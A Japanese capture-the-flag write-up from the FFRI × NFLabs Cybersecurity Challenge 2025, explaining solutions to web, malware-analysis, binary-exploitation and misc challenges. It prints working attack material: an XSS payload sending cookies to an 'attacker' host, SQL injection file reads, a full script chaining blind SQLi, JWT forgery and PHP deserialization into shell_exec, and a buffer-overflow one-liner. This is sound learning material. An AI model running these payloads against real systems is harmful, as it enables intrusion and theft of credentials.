FFRI × NFLabs. Cybersecurity Challenge 2025 に参加して 4 位でした。
この記事では、解けた問題のうちエスパー問題*1 を除く問題の WriteUp を書きます。

- Welcome
- Secure Web Company (Web)
- Timecard (Web)
- TimeFiles (Web)
- Cereal Blog (Web)
- Downloader (Malware Analysis)
- Acrobatics (Malware Analysis)
- CustomEncryptor (Malware Analysis)
- hidden (Malware Analysis)
- Abnormal (Binary Exploitation)
- Jump (Binary Exploitation)
- Lamp (Misc)
- Salted Hash Hunt (Misc)
Welcome
問題文にフラグが書いてある。
flag{Good_Luck_and_Have_Fun!}
Secure Web Company (Web)
Dockerfile を読む。(フラグは README.md にある。)
FROM nginx:alpine COPY index.html script.js style.css README.md /usr/share/nginx/html/
普通にフラグが公開されているので、/README.md を取得すればいい。
flag{5up3r53cr37_4dm1n_p455w0rd}
Timecard (Web)
XSS 問題。admin が定期的にクロールしてるので、admin しか見れないページをなんとかして見てねという問題。
とりあえずタイムカード入力画面の「備考」に <script>alert(1)</alert> を書くとそのまま刺さるので、cookie を抜き出す。

なぜか webhook.site に繋がらないので仕方なく自前でサーバーを用意する。*2
<script> location.href = "http://attacker?c=" + btoa(document.cookie) </script>
あとは admin からのリクエストを待って、奪った cookie で flag を確認するだけ。
flag{H9aDSMkTCWZMEuk25nZw}
TimeFiles (Web)
go 言語だ。最初の目標は admin.xml を読んで admin になること。とりあえず自明な SQLi がある。嬉しいことに結果がそのまま表示される。
func SearchContent(title string) (PageData, error) { ... queryStr := "SELECT * from msgs where title ILIKE '%" + title + "%'" ... rows, err := db.Query(queryStr) ... for rows.Next() { var msg Message err = rows.Scan(&msg.Title, &msg.Content) fmt.Printf("%s %s\n", msg.Title, msg.Content) data.Messages = append(data.Messages, msg) } return data, err }
親切なことに GRANT pg_read_server_files TO db_user; が最初に実行されているおかげでファイルが読めるため、SELECT * from msgs where title ILIKE '%' UNION SELECT '1',pg_read_file('/app/admin.xml') -- % を実行すればいい。
これで、flag ページが呼び出せるようになった。flag ページは以下の関数で暗号化したフラグをくれる。
func generateKey() []byte { delay := rand.Intn(1000) time.Sleep(time.Duration(delay) * time.Millisecond) var seedTime = time.Now().UnixMilli() random := rand.New(rand.NewSource(seedTime)) .... } func EncryptAes(plainText string) string { key := generateKey() ... iv := []byte{0x1a, 0x2b, 0x3c, 0x4d, 0x5e, 0x6f, 0x70, 0x81, 0x92, 0xa3, 0xb4, 0xc5, 0xd6, 0xe7, 0xf8, 0x09} mode := cipher.NewCBCEncrypter(block, iv) ciphertext := make([]byte, len(plainBytes)) mode.CryptBlocks(ciphertext, plainBytes) return base64.StdEncoding.EncodeToString(ciphertext) }
var seedTime = time.Now().UnixMilli() からわかる通り、シードが十分総当たり可能。
func main(){ for i:=-2000; i<2000; i++ { ciphertext, err := base64.StdEncoding.DecodeString("IQyHXsvpMMsccRGrFFeMlHvuSBmUAP6S03z0f3PZqBU=") if err != nil { panic(err) } var seedTime = int64(1757670274798 + i); // アクセス時刻 fmt.Println(strconv.FormatInt(seedTime, 10)) random := rand.New(rand.NewSource(seedTime)) key := make([]byte, 16) for i := 0; i < 4; i++ { val := random.Uint32() key[i*4+0] = byte(val >> 24) key[i*4+1] = byte(val >> 16) key[i*4+2] = byte(val >> 8) key[i*4+3] = byte(val) } block, err := aes.NewCipher(key) if err != nil { panic(err) } iv := []byte{0x1a, 0x2b, 0x3c, 0x4d, 0x5e, 0x6f, 0x70, 0x81, 0x92, 0xa3, 0xb4, 0xc5, 0xd6, 0xe7, 0xf8, 0x09} mode := cipher.NewCBCDecrypter(block, iv) plaintext := make([]byte, len(ciphertext)) mode.CryptBlocks(plaintext, ciphertext) fmt.Println(string(plaintext)) } }
平文候補のうち、 flag{ から始まる flag{43s_f4s7_bu7_71m3_s10w3r} が答え。
Cereal Blog (Web)
PHP だ。
まず、admin としてログインするために、
- jwt を署名している鍵を LFI で読み取る
- admin 権限を持つアカウントとその内部 uuid を特定する
必要がある。
1 は nginx の設定ミスから読み取れる。
location /uploads {
alias /var/www/html/uploads/;
try_files $uri =404;
}
/uploads../secret/private.key にアクセスすれば、 /var/www/html/uploads/../secret/private.key が読み出せる。
2 は SQLi。
<?php ... public static function findImage($user_id, $post_id, $filename) { $filename = self::sanitize($filename); $db = \Core\Model::init_db(); $stmt = $db->prepare("SELECT * FROM posts WHERE user_id = ? AND id = ? AND filename = '{$filename}'"); $stmt->execute([$user_id, $post_id]); return $stmt->fetch(PDO::FETCH_ASSOC); } ...
ただし、以下の通り残念ながら 結果が 1 件以上存在するかしかわからないため、blind SQLi をする。
<?php ... public function edit($post_id) { $existing_image = \App\Models\Post::findImage($user['id'], $post_id, $filename); if ($existing_image) { $upload_filename = $filename; } else { $basename = pathinfo($filename, PATHINFO_FILENAME); $extension = pathinfo($filename, PATHINFO_EXTENSION); $upload_filename = $basename . '_' . bin2hex(random_bytes(16)) . '.' . $extension; ... } ... } ...
users テーブルのスキーマは以下の通り。
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL, uuid VARCHAR(255) NOT NULL, role VARCHAR(255) NOT NULL DEFAULT 'user' );
例えば SELECT * FROM posts WHERE user_id = ? AND id = ? AND filename = '' OR (SELECT SUBSTR(uuid,1,1) FROM users WHERE role = 'admin') = '0' -- '; を実行すれば、admin の uuid の 1 文字目が 0 かどうかがわかる。
さて、これで admin としてログインできたので 次は RCE を達成したい。
admin からだとデータベースの内容をほぼ何でも書き換えられるエンドポイントがあった。
また、/admin にアクセスすると次の関数が呼ばれる。
<?php ... public static function getSettings() { $db = \Core\Model::init_db(); $stmt = $db->prepare("SELECT settings FROM app_settings WHERE id = 1"); $stmt->execute(); $settings = $stmt->fetch(PDO::FETCH_ASSOC); return unserialize($settings['settings']); } ...
これは Insecure Deserialization が起こせそう。
使えそうなクラスはこれだ。Router の __destruct() が呼ばれるときに任意の関数が任意の引数で呼び出せる。
<?php namespace Core; class Event { private $callback; private $args; public function __construct($callback, $args) { $this->callback = $callback; $this->args = $args; } public function execute() { call_user_func_array($this->callback, $this->args); } } class Router { private $event; ... private function dispatch() { try { if (is_null($this->event)) { header("HTTP/1.1 404 Not Found"); echo "404 Not Found"; exit; } $this->event->execute(); } catch (\Exception $e) { ... } } public function __destruct() { $this->dispatch(); } }
いい感じのオブジェクトを得るため、次のようなプログラムを書いた。フラグを uploads に移動すると楽。
<?php namespace Core; class Event { private $callback; private $args; public function __construct($callback, $args) { $this->callback = $callback; $this->args = $args; } } class Router { private $event; public function __construct() { $this->event = new Event("shell_exec", ["cp /fl* /var/www/html/uploads/flag.txt"]); } } $router = new Router(); echo urlencode(serialize($router))."\n";
以上をまとめてスクリプトにする。
import requests import jwt import urllib.parse import time key = requests.get("http://victim/uploads../secret/private.key").text sess = requests.Session() username = "aaa" password = "aaa" data = { "username": username, "password": password, "password_confirm": password, } response = sess.post("http://victim/auth/register", data=data) response = sess.post("http://victim/auth/login", data=data) with open("png_sample.png", "rb") as f: image = f.read() image = image[:20] data = { "title": "aaa", "content": "aaa", } files = { "filename": ("kugiri.png", image, "image/png"), } response = sess.post("http://victim/mypage/post", data=data, files=files) post_id = response.text.split('<a href="/mypage/post/')[1].split('"')[0] ans = "" for i in range(36): for c in "-0123456789abcdef": files = { "filename": ( f"' OR (SELECT SUBSTR(uuid,{i+1},1) FROM users WHERE role = 'admin') = '{c}' -- kugiri.png", image, "image/png", ), } response = sess.post( "http://victim/mypage/post/" + post_id, data=data, files=files ) if response.text.split("kugiri")[1].split(".")[0] == "": ans += c print(ans) break print("ans:", ans) ans2 = "" for i in range(5): for c in "abcdefghijklmnopqrstuvwxyz": files = { "filename": ( f"' OR (SELECT SUBSTR(username,{i+1},1) FROM users WHERE role = 'admin') = '{c}' -- kugiri.png", image, "image/png", ), } response = sess.post( "http://victim/mypage/post/" + post_id, data=data, files=files ) if response.text.split("kugiri")[1].split(".")[0] == "": ans2 += c print(ans2) break print("ans2:", ans2) t = time.time() payload = { "username": ans2, "uuid": ans, "iat": t - 100000, "exp": t + 100000, } token = jwt.encode(payload, key, algorithm="RS256") c = {"token": token} obj = "O%3A11%3A%22Core%5CRouter%22%3A1%3A%7Bs%3A18%3A%22%00Core%5CRouter%00event%22%3BO%3A10%3A%22Core%5CEvent%22%3A2%3A%7Bs%3A20%3A%22%00Core%5CEvent%00callback%22%3Bs%3A10%3A%22shell_exec%22%3Bs%3A16%3A%22%00Core%5CEvent%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A38%3A%22cp+%2Ffl%2A+%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fflag.txt%22%3B%7D%7D%7D" obj = urllib.parse.unquote(obj).replace("+", " ") print(obj) data = {"table": "app_settings", "record_id": "1", "column": "settings", "value": obj} response = requests.post( "http://victim/admin/update-record", data=data, cookies=c ) response = requests.get("http://victim/uploads/flag.txt", cookies=c) print(response.text)
flag{wh47'5_y0ur_fav0r173_s3r14l?}
Downloader (Malware Analysis)
strings すればいい。
Acrobatics (Malware Analysis)
PDF が渡される。strings するとコードっぽいものが見えるので AI に解読してもらう。
flag{pdf_javascript_magic}
CustomEncryptor (Malware Analysis)
気合いで解析する。
from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Hash import SHA1 n = 0xBECFF0CEAD137EEEFA810D55B18F781C233AF239175D1154B623FBB867A0183FE1619A9464638056550C4FB28D9E2D231A8DDB4D8461ADB4A76049CAE2D0F8E39F88DB4526B6FF551217B779A85F9A3FEBA3791B6E96AE20C864EC1C0AD2B734F13BDE9E1C7D81DE799EF7EB456B17C85FDF09A8A050A7ECA672C11D6DFF117C081303D36A379C0EC992DF992191A008E729C5A53C33C1B7C877939F9AD2C3A90A059EB4F0CF9BA07238AD7E9074846516818092CB799EF38F737B4FF52FC23375EDCDB4091E12DDB91336E37D5E361C34DB1EF1864A428A727F72F8113DCB80C640FA2D59F0A11D3922D354EB9198D0040E4942E56B1039ED42BDF1D5EF2071 p = 0xE90663435898B5E1459D312759FE2D8504BC0E3FBF1652DB9DC4C2B0DFB26B626F11EECE6032D6EF3618C2A3D3D1BBEDFAC1EAC5074AFB8498B71901BC413A829203649739E9410B87B09A1FD393F2FE508620B97E6A05E5E3ED0D2E55EF2C5640CE1B40C9D9BC704AEBA397B4015E9692133B27B428ED498509623FD1AD604F q = 0xD1A017EC497021E633139E65DEAA23A060DD1F4C2E842232A9C64AFB3B4137E230F50A9A60CF87609634BF98EA5120B034DF86536538EB85C3355AEAF0C6C2F2C15334CD19787A929DC95CEC23C33F50CE0F0EAEE9181CE52FCD2A0610D0CC05CCE399CCDAC7D6DD34E708C6B020E9CFADE9E6595C54C3C9688305BA6144833F e = 0x10001 d = pow(e, -1, (p - 1) * (q - 1)) key = RSA.construct((n, e, d, p, q), consistency_check=True) with open("secret.iso.encrypted", "rb") as f: x = f.read() footer = x[-256:] cipher = PKCS1_OAEP.new(key,hashAlgo=SHA1) decrypted = cipher.decrypt(footer) print(decrypted) a = b'\xd5\xc9O<\x9b\x91\xa0\xb4\xad\xd8B\xcd\x1c\xd1\xf0\x89O\r\xc0\xcf\x1cU \x12\x18\x9bR(\xb2\xf4\x93\xfa\xd5\xb0\x90\xb9`\x9fgc\x9a&@\xa8\xe1\xd6gz' aes_key = a[:32] iv = a[32:48] from Crypto.Cipher import AES from Crypto.Util.Padding import unpad cipher = AES.new(aes_key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(x[:-256]), AES.block_size) print(decrypted.replace(b'\x00', b'').split(b".")[-1])
hidden (Malware Analysis)
AI を使いながら気合いで解析する。*3
from base64 import b64decode import zlib x = "AAAA9/Pz76m8vK6msb2utae9rq69rrCx67K1tKfr0+ewp9Hv4QDJ7toDAAAA" x = x.replace(" ", "") x = b64decode(x) x = list(x) y = [] for i in x: y.append(((i + 0x7A) & 0xFF) ^ 0x19) y = bytes(y) print(y) key = y.split(b"|")[-1].split(b"ccc")[0] def rc4(data, key): """RC4 暗号化 / 復号化""" S = list(range(256)) j = 0 key_len = len(key) for i in range(256): j = (j + S[i] + key[i % key_len]) & 0xFF S[i], S[j] = S[j], S[i] i = 0 j = 0 out = bytearray() for byte in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF] out.append(byte ^ K) return bytes(out) ct = b"x\x9c\x01=\x00\xc2\xff\x10\xef\xa9]\xa0\x7f\xad\x89\xe4\xff\xa2\x84tvu\xf1\xbc .e\x97\xf2^\xef\xcev\r*\x91p\x9cc\xb7 9\x86\xd9R=X\xe6\x8c\xb4@\r\xd4c\x01\x1b!P\xa5\n\x94iqaX\x90J\xc4\xdes\x1du" ct = zlib.decompress(ct) key = b"Tx38RpBcZqMd" flag = rc4(ct[1:], key) print(flag)
flag{r@t_l1ke_gh0st_with_custom_pr0t0c0l_and_rc4_encrypt10n}
Abnormal (Binary Exploitation)
アイテムの売買ができる。アイテムを負の個数売れるので、オーバーフローさせるとお金がいっぱいもらえる。
=================================================
_____ _ _ _____ _
| ___| (_)_ __ | ___| | ___ _ __
| |_ | | | '_ \| |_ | |/ _ \| '_ \
| _| | | | |_) | _| | | (_) | |_) |
|_| |_|_| .__/|_| |_|\___/| .__/
|_| |_|
Welcome to Flip-Flop Shop!
=================================================
+================= Player Status =================+
| 💰 Gold: 1000 |
| |
| 🎒 Inventory: |
| - Herb x 100 |
| - Legendary Sword x 1 |
+================================================+
Choose an action:
1. Buy
2. Sell
3. Exit
> 2
=== 🛒 What would you like to sell? ===
1. Herb - 10 yen
2. Legendary Sword - 220000 yen
Select an item to sell: > 2
How many Legendary Sword do you want to sell? (you have: 1): > -1000000000
Thank you :)
+================= Player Status =================+
| 💰 Gold: 1109804008 |
| |
| 🎒 Inventory: |
| - Herb x 100 |
| - Legendary Sword x 1 |
+================================================+
Choose an action:
1. Buy
2. Sell
3. Exit
> 1
=== 🛍 What would you like to buy? ===
1. Torch - 10 yen
2. Holy Water - 20 yen
3. Great Stone - 800 yen
4. FLAG - 9999999 yen
Select an item to buy: 4
🎉 Congratulations! Here is your flag:
flag{Th3_m1nu5_cr33p5_b3y0nd_ch405}
Jump (Binary Exploitation)
自明な BoF がある。
void greet() { char name[16] = { 0 }; gets(name); printf("Hi, %s!\n", name); }
問題文に次の通り書いてあるので、簡単。
- スタック保護機能(Stack Canary)は無効です。 - 位置独立実行形式(PIE)は無効です。 - 本問題は32bit i386環境を前提としています。 - スタックのアラインメントは4バイトに設定されています。 - print_flag 関数は必ず 0x21466F42 にロードされます。
echo -e "XXXXXXXXXXXXXXXXXXXX\x42\x6f\x46\x21" | nc victim 8102 Tell me your name! : Hi, XXXXXXXXXXXXXXXXXXXXBoF!! Congratulations! Here's the flag: flag{80F_JUMP_70_FUNC710N}
Lamp (Misc)
ハードウェア問題。わからないので、AI に聞くと答えを教えてもらえる。 flag{pico_gpio_master}
Salted Hash Hunt (Misc)
ヒントにほぼ答えが書いてあるので、指示通り実装する。
import hashlib with open("rockyou.txt",mode="rb") as f: passwords = f.read().split() ans = [] for p in passwords: fingerprint = str(hashlib.sha1(p).hexdigest()[:5]) #print(p, fingerprint) if fingerprint == "04dc9": ans.append(p) print(ans) with open("systemA_auth.csv") as f: xs = f.read().split("\n") data = [] for x in xs: x = x.split(",") # salt_hex,iter,hash if len(x) == 3: data.append((x[0], int(x[1]), x[2])) data = sorted(data, key=lambda y: y[1]) for salt_hex, iter, h in data: for p in ans: dk = hashlib.pbkdf2_hmac("sha256", p, bytes.fromhex(salt_hex), iter) if dk.hex() == h: print(f"found! {p}") exit(0)
答えは JohnInTheBox8657 。